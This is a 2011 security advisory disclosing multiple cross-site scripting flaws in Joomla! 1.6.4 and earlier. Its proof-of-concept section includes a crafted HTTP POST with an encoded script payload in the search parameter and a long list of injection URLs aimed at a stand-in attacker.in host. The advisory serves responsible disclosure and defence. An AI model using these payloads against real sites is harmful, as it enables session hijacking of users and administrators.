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Joomla! 1.6.4 and lower | Multiple Cross Site Scripting (XSS) Vulnerabilities
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1. OVERVIEW
Joomla! 1.6.4 and lower vulnerable to multiple Cross Site Scripting issues.
2. BACKGROUND
Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently.
Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization.
3. VULNERABILITY DESCRIPTION
Several parameters (searchword, Request URI) in Joomla! Core components are not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser.
4. VERSION AFFECTED
1.6.4 and lower
5. PROOF-OF-CONCEPT/EXPLOIT
component: com_search, parameter: searchword (Browser: IE, Konqueror)
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N.B. Our previous reported issue of "searchword" parameter XSS was not fixed completely.
[REQUEST]
POST /joomla164_noseo/index.php HTTP/1.1
Host: attacker.in
Accept: */*
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://attacker.in/joomla164_noseo/
Content-Type: application/x-www-form-urlencoded
Content-Length: 456
task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&option=com_search
[/REQUEST]
XSS in Request URI
====================
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/new-feed-categories/'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/24-joomla'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/search-component/search/'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/'">
http://attacker.in/joomla164/index.php/site-map/contacts/'">
http://attacker.in/joomla164/index.php/component/banners/click/3'">
http://attacker.in/joomla164/index.php/fruit-encyclopedia/'">
http://attacker.in/joomla164/index.php/fruit-encyclopedia/38-a'">
http://attacker.in/joomla164/index.php/fruit-encyclopedia/39-b'">
http://attacker.in/joomla164/index.php/fruit-encyclopedia/57-t'">
http://attacker.in/joomla164/index.php/growers/23-happy-orange-orchard'">
http://attacker.in/joomla164/index.php/image-gallery/animals/25-koala'">
http://attacker.in/joomla164/index.php/image-gallery/scenery/64-blue-mountain-rain-forest'">
http://attacker.in/joomla164/index.php/image-gallery/scenery/65-ormiston-pound'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/34-park-site/2-webmaster'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/contact-component/contact-categories/35-shop-site/8-shop-address'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/content-component/archived-articles/9-uncategorised/67-whats-new-in-15'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/26-park-site'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/content-component/article-categories/29-fruit-shop-site'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/20-extensions'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/content-component/article-category-list/24-joomla'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/1-joomla-announcements'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/2-new-joomla-extensions'">
http://attacker.in/joomla164/index.php/using-joomla/extensions/components/news-feeds-component/news-feed-category/3-joomla-security-news'">
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6. IMPACT
Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions.
7. SOLUTION
These issues are scheduled to be fixed in Joomla! 1.6.5 or higher.
Upgrade when new versions are available.
8. VENDOR
Joomla! Developer Team
http://www.joomla.org
9. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
10. DISCLOSURE TIME-LINE
2011-07-02: notified vendor
2011-07-06: vulnerability disclosed
11. REFERENCES
Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.4]_cross_site_scripting(XSS)
Previous Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.3]_cross_site_scripting(XSS)
Vendor Advisory URL: N/A
XSS FAQ: http://www.cgisecurity.com/xss-faq.html
OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE-79: http://cwe.mitre.org/data/definitions/79.html
#yehg [2011-07-06]